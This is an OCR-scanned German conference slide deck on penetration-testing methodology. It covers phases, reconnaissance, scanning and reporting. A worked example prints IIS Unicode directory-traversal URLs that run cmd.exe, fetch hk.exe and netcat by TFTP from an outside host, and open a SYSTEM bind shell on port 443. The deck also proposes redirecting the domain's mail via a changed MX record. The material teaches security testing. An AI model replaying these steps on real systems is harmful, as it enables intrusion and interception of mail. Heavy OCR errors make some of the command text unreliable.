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= EIn Penetrationstest ist der
zlelgerichtete Versuch, mit den Mitteln
eines Angreifers und innerhalb einer
gegebenen Zeitspanne Lucken in der
IT-Sicherheit aufzudecken.
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Zu klaren ist also...

= das Ziel, etwa ein Tell der IT-Infrastruktur (z.B.
Internet-Prasenz/-Anbindung, Einwahl-Segment),
ein Geschaftsprozess (e.g. E-Business) oder die
korrekte Implementierung von Mal3nahmen (zur
Pravention, Angriffs-Entdeckung, Reaktion darauf)

= der Typus des Angreifers (extern/intern,
Hacker/Mitbewerber/Ex-Angestellter etc.)

= was eine Lucke der IT-Sicherheit darstellt
(Verletzung der Security Policy, Non-conformity
gemald BS 7799, Beeintrachtigung eines
Geschaftsprozesses u.a.)

www.ernw.de Enno Rey & Michael Thumann 4



Abgrenzung

ERNW

) Enno Rey Netzwerke

www.ernw.de

Ein Penetrationstest unterscheidet sich von
einem Audit...

l.a. In o
Techni

er Methodik (Einsatz von Tools &
Ken vs. Prufung von Policies &

Procec

ures)

In seinem Aussagewert (Snapshot vs.
umfassend & Richtlinien-konform)

IN seinem Zweck
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= Dan Farmer & Wietse Venema [1993]: , Improving the
Security of Your Site by Breaking Into it”
www.fish.com/security/admin-guide-to-cracking.htmi

= Sicherheitsbewulf3tsein (insbesondere beim hoheren
Management) zu schaffen

= Den IT-Sicherheitsprozel? einzuleiten oder zu stitzen
= Risiken einschatzen zu kdnnen

= Vorhandene Mal3nahmen (von aul3en) zu bewerten &
sie ggf. zu verbessern
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Penetration-Tests kdnnen weiterhin unterschieden
werden nach...

dem Kenntnisstand des Angreifers/Testers [mit/ohne
Kenntnis bestimmter Informationen (etwa Pass-
wortern), mit/ohne Einsicht in Dokumente]; die
haufigste Variante ist hier die zero-knowledge attack.

dem Zeitpunkt der Durchftihrung [im Normalbetrieb,
zu ungewohnlichen Zeiten (Weihnachten), vor bzw.
nach Anderungen der technischen, administrativen
oder personalen Strukturen]
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Ein Pentest wird in mehreren Phasen durchgeflhrt:
= Initiale Informationsgewinnung
= Detallliertere Untersuchung der Systeme
= Auflistung moglicher Sicherheitsliicken
= Angriff nebst Privilegien-Erlangung & ,Bewels'
= Report
= Entfernen von Hinterlassenschaften (Tools, Lodfiles)
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In dieser Phase werden moglichst viele, 6ffentlich zugangliche
Informationen zusammengetragen, um erste Aussagen (etwa
tber die Infrastruktur) treffen zu kbnnen und das Ziel klarer
eingrenzen zu kdénnen. Zu den Quellen zahlen hier u.a.:

whois-Informationen & oGffentliche Datenbanken

Struktur der Netzanbindung (traceroute, am besten mehrere)
DNS-Informationen (idealerweise per Zonentransfer)

Die Website des Ziels (mdglichst umfassend, z.B. per wget)
Eigene Logfiles mit Aktivitat seitens des Ziels

Mails, die vom/fiir's Ziel empfangen empfangen o. relayt wurden
Postings an Newsgroups/Mailing-Lists durch Mitarbeiter des Ziels
Homepages (oder Lebenslaufe) von Mitarbeitern
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A DENIC eG/DENIC-Datenbank/Suche nach Domainnamen,/Ergebnis - Microsolt I ! ; | I o] |

J File Edt WView Favotites Tools  Help |
| GBak ~ = - £ 3 | Dseach [Fdfavorites CHHstory | By S B
Jl.ﬁ.gldress IE http: | v, denic. defserviet whois :] R |J Links **
LOLEr T T T TR TS T T T ST DT ST T I ST G s AT Tal TS AU T T T TE T
Ansprechpartner bei dem Domaininhaber fir rechtliche und administrative Probleme ist der
administrative Ansprechpartner (admin-c). Die Ansprechpartner for technische Probleme sind
der technische Ansprechpartner (tech-c) und der Zonemvenwaller (Zane-c).

Erlauterung zu eirzelnen Informationsfelderm der Domaindaten. Informationen flr
Interessenten an einer bereits anderweitiq registrierten Domain.

Domainname: pen-testde

Enno Rey
huehlingstrasse 29
D-63121 Heidelberg
GERMAMNY

Administrativer Ansprechpartner; ER1664-RIPE
Technlscher Ansprechparther: HDDI-RIFE
Zonenverwalter: HD4-RIFE
MNameserver: waw pen-test.de
Nameserver: pns.diag.de
Nameserver: techfac techfak uni-bielefeld de
Status: konnekdiert
Letzte Aktualisierung: Diesnstag, 5. Ckiober 1999
Stand Datenbank: Mittwoch, 22, August 2001

Domaininhaber:

Inklusive Personendaten |

a2

|&] Dane [ [ |4 internet
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C \>tracert 195.145. 236. 252

Rout enver f ol gung zu 195. 145,

© 00N O O & WN P

e
)

C\>

60
60
60
360
160
201
361
170
90
130
120

CREREC R I

60
60
60
100
160
210
330
90
110
140
120

CRE R IR N R I R A

80
80
80
60
170
210
301
120
90
130
100

236. 252 uUber nmaxi nal 30 Abschnitte

CRE R R I N R -

194.121.133.6

t al 0s. ncc- mannhei m net [212.120. 48. 1]
S1-4-0. mhnR- c. ntbone. net [ 195. 4. 218. 69]
LO. f f n2- c. ncbone. net [62.104. 191. 1]

Gb- 0. ffmi-gsr. ncbone. net [62.104. 193. 199]
LO. nbg2- gsr. nthone. net [62. 104. 191. 135]
LO. nth2-gsr. nthone. net [ 62. 104. 191. 134]
M gwl3. m net . dt ag. de [ 62. 104. 199. 122]

MA- ag2. MA. NET. DTAG DE [ 212. 185. 8. 197]
016896- 1- 1- gw. MA. NET. DTAG. DE [ 62. 225. 84. 205]
www. pen-test.de [195. 145. 236. 252]
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[mai nt @obile maint]$ dig axfr @95.145. 236. 252 pen-test.de

; <<>> DG 8.2 <<>> axfr @95. 145. 236. 252 pen-test. de
; (1 server found)
$ORI G N pen-test. de.

@ 1H I N SOAwww. Admi nistrator. (
3 ; serial
1H : refresh
10M ;oretry
1D ;o expiry
1H) ;m ni num
IH IN NS wwv.
IHIN MX 10 nai l
VWY IHIN A 195. 145. 236. 252
@ 1H I N SOAwww. Adm nistrator. (
3 ;. serial
1H : refresh
10M ;oretry
1D ;expiry
1H) ;m ni num

;; Received 5 answers (5 records).
;; FROM nobile to SERVER 195. 145. 236. 252
;5 WHEN: Wed Aug 22 12:18:01 2001

[mai nt @obile maint]$ dig axfr @95.145.236. 252 pen-test.de > pen-test. de. dns
[ mai nt @obile maint] $
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RE: [FW1] NT Printing through Firewall-1 - Microsoft Internet Explorer ; T i ] |

J File Edit Wiew Fawvorites Tools  Help ﬁ
J GBack ~ = - B3 4] /3| Bicearth (ElFavarites (AHitory | B~ Sh B
J Address IE http: ffvma Firewall-1.0rg/2001-07/msg00362 . html j el |J Links **

Hi ~]

I'm Lrying to Set up Wy Site 30 that an external site cah print ta my
internsl printer.

I hawve set up an NT 4 machine on the DEZ that happily prints to the internal
printer (on a JetDirect box) wia en internal NT 4 printserwver.

The firewsll iz configured to sllpw sny protocol (st present] thraough to the Elnladung’)

IMZI print serwver.

The external sS1te cah plhng the DMZ print sServer, and Telnet co 1t. But when
trying to print to it, it seems like only 72 bytes are sent and then
everything stops.

The firewall log shows one entry for each attempt wiz:
14:47:17 accept firewall >jes proto top sro Remotelerwver dst DMZServer

[Walid Address] service 9100 s port 1223 len 48 rule 41 xlatesrc
Remotelferwer Mlatedst DIMIServer xlstesport 12232 xlstedport 2100,

Can anyone give we any pointers please?

Begards,
ilan Baker

I3C MNetworks
Tel: (Int +44) (0)1223 577068
Email: mwailto:llan.Bakerfeurope.simoco.com

|&] Done l_ l_la Internet

|
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er (=1

J File Edt wiew Faworkes Tools Help i
J daBack v = (£ 78 | Disearch (ElFavarites ¢ BHistory | B S B -

| Agdress @ Rt s, Fireswall-1, org/ 2001 -08/msg00141  htrl | o H Lirks *

o From jrodriga@E W 1-NOSP Aldretevision. ez =]

o fhie: Mon, 6 Aug 2001 13:58:04 +0200
o Sender: owner-fiv-1-mailinglisti@F W 1-TT0ER ANlizts us. checlop oink cotn

Hi to all,

when I use the snwpwalk commarnd to ask to the snp-fwl agent
{udp/260) from my sSnmp management console, it goes down end I have to
restart it againh. However, this doesn't happeh with a shnpget query.

This is wy CPFW1 wersion: Check Point VPN-1(TM) & FireWall-1(R)
¥Yersion 4.1 Build 415149 [VFN + DEZ] 3P3 _

Any idea about it?

Regards, ?

Jooué,

La informacidn incluida en el presente correo electrionico es CONFIDEMCIAL,

A s~ 1 avme marm larmdrres el Aeme d b mam g m e A lem ammana S s Al i anmt el

|&] Dane [ | 4 Intemet

N
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Die in der ersten Phase ermittelten Ziele werden jetzt direkt
geprift (,erster Feindkontakt®). Dabei werden avisierte Subnetze
gescannt (etwa per icmpenum) und erreichbare Systeme auf
offene Ports gescannt bzw. dem OS-Fingerprinting unterworfen.

Einzelne Server (insbesondere Webserver) werden dann auf
Versionsstande eingesetzter Dienste untersucht (per banner
grabbing oder mithilfe dedizierter Scanner wie etwa whisker).

In dieser Phase kdnnen Vulnerability-Scanner (sei es kommer-
zielle wie der ISS oder nicht-kommerzielle wie Nessus) zum
Einsatz kommen. Es gibt jedoch gute Argumente dagegen:

Der Pentest simuliert die Vorgehensweise eines Hackers (oder
Mitbewerbers oder...). Sie alle arbeiten nicht mit solchen Tools.

Vulnerability-Scanner sind in der Vorgehensweise viel zu noisy
und im Ergebnis oft zu ungenau.

=> Fragen Sie bei Beauftragung eines Pentest nach den verwen-

deten Tools! Lautet die Antwort ,Wir verwenden den ISS und
einige andere Tools", wird es wohl in erster Linie der ISS sein...

Enno Rey & Michael Thumann 15
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# nmap (V. 2.54BETA6) scan initiated Thu Feb 1 21:43:33 2001 as: nmap -sSS -
Ovv -p 1-1026 -oN /usr/local/data/ nmap 195. 145. 236. 252/ 30

Warning: OS detection will be MJCH | ess reliable because we did not find at
| east 1 open and 1 closed TCP port

Interesting ports on www. pen-test.de(195. 145. 236. 252):
(The 1024 ports scanned but not shown below are in state: filtered)
Por t State Service

53/tcp open domai n
80/tcp open http
443/ tcp open ht t ps

TCP Sequence Prediction: Cass=trivial tine dependency
D fficulty=21 (Easy)

Sequence nunbers: 1A6B7753 1A6B775A 1A6B776A 1A6B7771 1A6B77AB

Renot e OS guesses: NT Server 4.0 SP4-SP5 runni ng Checkpoint Firewall -1,
W ndows NT4 / Wn95 / Wn98

OS Fingerprint:

TSeq( d ass=TD¥gcd=1%5l =15)

T1( Resp=YYDF=Y0WW2017YACK=S++%-| ags=AS¥%ps=M
T2( Resp=N)

T3( Resp=YYDF=YN:2017%ACK=S++%-| ags=AS¥%ps=M

Enno Rey & Michael Thumann 16



ERNW

Detailliertere Untersuchung O Eno Rey Netzverke

O

www.ernw.de

whi sker -inv -1 2 -M1 -s /usr/local/src/whisker/SCAN. DB -h 195. 145. 236. 252
00 -- whisker / v1.4.0 / rain forest puppy / www. w retrip.net --

Usi ng | DS spoofing node(s) 2

Host: 195. 145. 236. 252

Server: Mcrosoft-11S/4.0

Appending ::\, 9%E, or 0x81 to URLsS may give script source

Also try +. htr and %20%0. htw tricks

Security settings on directories can be bypassed if you use 8.3 nanes

200 OK: CGET /nsadc/ Sanpl es/ sel ect or/ showcode. asp
200 OK: CGET /nsadc/ sanpl es/ adct est . asp
200 OK: HEAD / nsadc/ nsadcs. dl |

RDS. See RDS advi sory, RFP9902
G VE IT A REST, KIDS.

Enno Rey & Michael Thumann 17
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Anhand der (weitgehend automatisiert) gewonnenen Daten
werden jetzt Profile potentiell angreifbarer Systeme erstellt.

Einschlagige Foren (etwa bugtraq), Websites (Packet Storm,
Technotronic, hack.co.za u.d.) und Datenbanken sind hier die
Informationsquellen.

Daruber hinaus spielt das fach-spezifische Knowhow der/des
Tester(s) eine entscheidende Rolle.

Es missen daher in das Test-Team entsprechende Kopfe
eingebunden sein.

=> Priufen Sie das!

Enno Rey & Michael Thumann 18
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; http:/ /www.securityfocus.com/vdb, - Microsoft Internet Explorer i ':' | i |EI|£|

JEiIe Edit Wiew Faworites Tools  Help |ﬁ

J = Back -~ = - @ 3 | @Search GefFavorites £ #Hstary ||%v =80
Jﬁddress IE htkp: | hanea, securibyFocus .com)ydb) ;I o JLinks 2

CTTEIIAW oy vtie W by keywora W by bugtrag id W by cveid ¥

vendor Microsoft j

titlells j VTS an I vi

«  2001-05-16; Micro=oft 15 4.0 URL Redirection DoS Yulnerabilty =
»  2007-03-15 Microsaft 15 251 Butter Cwerrun Privelede Elevalon Wulneraolity
« 2001-08-08 MS 1S Internal IP Addressintemal Metwork Mame Dizsclosure ulnerability
«  2001-07-04: Microzsoft 1S Device File Local DoS Yulnerability
«  2001-06-21: Microzoft 1S Unicode asp Sowce Code Disclosure Vulnerakbility
«  2001-06-18: MS Index Server and Indexing Service EAP Extension Buffer Cwvarflowe Yulnerability
«  2001-05-15 MSISPWS Escaped Characters Decoding Command Execution Yulnerakbiliy
»  2001-05-14: Microzoft 1S Yarious Domain User Account Access Vulnerability
«  2001-05-11: Microzoft Index Server Buffer Coverflove Vulnerability
«  2001-01-29: Microsoft 15 File Fragment Disclosure Yulnerabilty
«  2000-12-22 Microzoft 1= Front Page Server Extenzion Doz Vulnerability
«  2000-11-06; Micro=soft 15 4.0 1SAH Buffer Overflow Yulnerability
«  2000-11-06:; Microsoft IS Executable File Parsing Yunerability
«  2000-10-23 Microzoft 15 4.005 .0 Sezsion 1D Cookie Dizclozure Yulnerekility
« 2000-10-17: Microsoft 1% and PWS Extended Unicode Directary Traverzal Wulnerability
»  2000-09-05: Microzoft MT 4.0 and 1S 4.0 Invalid URL Reguest DoS Yulnerability
«  2000-05-21: Microzoft FrortPageds Cross Site Scripting shitml.dll Wulnerability
«  2000-05-21: Micro=oft 1S Cross Ste Scripting shtml Yulnerability
2000-08-10: Micro=soft 1% 4.005 0 File Permizsion Canonicalization Y ulnerability

&) Done I_ I_ 4 Internst

w L
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5
x

.-a.:[packet storm]:. - http://packetstormsecurity.orgs - Mit:r«e

| Eile Edt Wiew Favortes Tools Hep “
| s Back » = J ﬂ ﬁ <ﬁﬁearch '__]FEI'v'CIFItES ﬁHlstDrv =8

.ﬁddress I@I http ,|'|'2I39 100,212, 5,|'cg| bln,l'SEEI’EhII'SEEIrEh cg|?searchvalue=unlcude+msadc _:_1 Bren Links ».

..|-1||_.|||||!__{ r sligsh auhel o Sl Wéalul
- 'unicode’ 'msadc’

hes it 069531 seconds.
Fesuls | -

FPrevious Results | Mext Resdlts

www.ernw.de Enno Rey & Michael Thumann 20
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! =101 x|

J File Edit Wew Fawoites Tools  Help ‘i
J ‘= Back + =k - @ | @Search [EdFavorites £ Hstary ||%- =R
J.ﬁddress IE hitbps e, pen-test. defmsadc ), %c0%af, [ %c0%:aF . L Sc0%al,  fwindows fsystem 32 fomd  exe? fo+die :j @GD |JLink5 2
2l
Directory of C:‘\Program FileshCommon Files)system'maadc
ga/1s/01 OB:36pn ~DIRx
0gs12/01 08:36p <DIR=> i
09/25/97 03i:41p 596 adcjavas. inc
O03/25/397 0O3:41lp 5829 adcvbhs.1nc
0g/19/01 08:14p <DIR> Docs
09/25/97 0%:28p 172,516 maadee.dll
09/25/97 0O4:16n 5,632 msadeer.dll
09/25/97 04%:24p 23,312 msadef.dll
09/25/97 04:24p 91,405 mzadeo.dll
09/25/97 04:19p 5,120 msadcor.dll
09/26/97 0%:19p 42,256 msades.dll
10/02/97 03:28n 19, 388 readme.txt
0g/12/01 08:14p <DIR= Samples
13 File(s) 361,117 hytes
222,846,976 bytea free
] Done il |4 Internet 4

Ausgenutzt wird die ,Web Server Folder Traversal®-Llcke (MS00-078)
Fehler seitens des Opfers: Patch nicht installiert

www.ernw.de

Enno Rey & Michael Thumann

21



ERNW

Angriff & Privilegienerlangung O Enno Rey Netzverke

0

www.ernw.de

& Error in CGI Application - Microsoft Internet Explorer i i ;_ | ] o |
J File Edt “iew Faworites Tools  Help |ﬁ
| cBack - = - (@) fat | ‘Dhsearch (EFavorites  C#Hstory ||%v Sh -
J.ngress I %eC0%:af . fwindowsisystem32/and, exe?{cHftp, exe+-i+hac ker.ong+GET+hk. exe4 o windows\syskem32ihk, exe :] 6}'50 |J Links *
2]
CGlI Error
The specified CGI application mishehaved by not returning a complete set of HTTF headers. The headers it did return
are:
|&] Done |_|_|G Internet 4

Jetzt werden per TFTP zwei Tools (hk.exe, nc.exe) auf den Webserver kopiert
Fehler: DMZ wird als ,trusted network‘ behandelt => Verbindung mdglich
[Fehler wird insbesondere bei Einsatz der Cisco PIX gemacht, aber nicht nur...]

hk.exe (www.nmrc.org/files/nt/hk-0.1.zip) verschafft system-Privilegien.

Enno Rey & Michael Thumann 22
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£}
/4 Error in CGI Application - Microsoft Internet Explorer & I ] |
J File Edit Wiew Favoites Tools Help |ﬁ
J = Back + = - @ ot | @Sealch [F]Favarites @Hstnry ||%- =] =
J"’ddressl Yot 0%l fwindowssystem32/and. exe?fc+tFtp.exe+-i+hac. ker . org+GEET-Hnc. exe-+oywindows | system32inc. exe ;I (‘J‘)‘GD |JLinks 2
=

CGlI Error

The specified CGI application mishehaved by not returning a complete set of HTTF headers. The headers it did return

are:
|&] Done l_l_lﬂ Inkernet i

netcat (www.lOpht.com/~weld/netcat/) ist das ,Schweizer Taschenmesser*
des Netzwerkers. Hier verwendet, um (Eingabe-) Daten zu transportieren...

www.ernw.de Enno Rey & Michael Thumann 23
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3 Error in CGI Application - Microsoft Internet Explorer I i: | i ]
_| Fle Edit Wiew Favoites Tools  Help |ﬁ
| &=Back ~ = - @D fat | iQdseach [GFavorites  CHstory | By S »
}Pgdress i@ ows,l'system32,l'cmd.exe?,l'c+c:'l,windows'l,systemSZl,hk.exe+cmd+,l'c+nc.exe+"-n"+"—|"+"-v"+"—p"+443+"—e"+cmd.exe:i 6)'50 |J Lirks **
=l
CGI Error
The specified TG application misbehaved by not returning a complete set of HITP headers. The headers it did return
are:
&] Done l_l_ |4 Internst Y

Jetzt wird hk.exe verwendet, um netcat mit System-Rechten aufzurufen,
das wiederum den Port 443 abhort und dort eine Shell (cmd.exe) bereithélt,
die naturlich ihrerseits diese Rechte hat...

Fehler: Post-SP6a-Fix nicht eingespielt, was hk.exe ermdglicht
Fehler: Port 443 wird v. der FW eingehend gestattet, obwohl kein SSL lauft

Enno Rey & Michael Thumann
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* |[Eingabeaufforderung - telnet wyw pen-test.de 14

Microsoft(R> Windows MI<{TH>
(C» Copyright 1985%-192%6 Hicrozoft Corp.

LisProgram FilesxULommon Filesssuysten~msadcr?

Ein telnet auf Port 443 ,6ffnet' diese Shell...

www.ernw.de Enno Rey & Michael Thumann 25
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O

= Mithilfe dieser Shell kbnnen wir jetzt alles auf dem Zielsystem
machen (system-Privilegien!), z.B.

= Eine modifizierte Zonendatei (die ja schon aus Phase 1 vorliegt)
mit verandertem MX-Record auf dieses System laden, dann...

= den DNS-Dienst neu starten (net stop & start)...

= Wo werden denn jetzt wohl alle Mails an pen-test.de landen?

www.ernw.de Enno Rey & Michael Thumann 26
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Der Report enthalt:

= Eine genaue Beschreibung des Ziels des Pentests
und der angewandten Verfahren

= Die konkrete Vorgehensweise in nachvollzienbarer
und reproduzierbarer Form

= Eine (fur Nicht-Techniker...) lesbare, abstrahierte
Auswertung der Ergebnisse

= Richtlinien & Empfehlungen
= Die detalllierte Darstellung aller Testergebnisse

www.ernw.de Enno Rey & Michael Thumann 27
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"% Command Prompt

C:srod suwindowsssystemd2
C:sUWINDOWS system32xdel hk.exe
C:sUWINDOWS system32>del nc.exe
CaNWINDOWSSsystem322

www.ernw.de Enno Rey & Michael Thumann 28
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= Penetrationstests werden sich (wie eben
auch Angriffe) immer mehr auf die Applika-
tionsebene bewegen.

= Weg von der Uberpriifung der TK-Strukturen
(etwa mit Wardialern) und auch weg von der
Prifung Netz/IP-Infrastruktur.

= Penetrationstests werden zukunftig
VPN/IPsec-Knowhow erfordern.

www.ernw.de Enno Rey & Michael Thumann 29
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= Weitere Quellen:
= Mailingliste pen-test:

» Prasentation auf der Black Hat zu automatisierten
Pentests:

= Dieser Prasentation verdanken wir wichtige
Anregungen! Danke!

www.ernw.de Enno Rey & Michael Thumann 30
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Fragen 0 EanoRey Neawere

= Fragen?
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Danke jEnmReyNetmm'ke

= Danke fur lhre Aufmerksamkeit!
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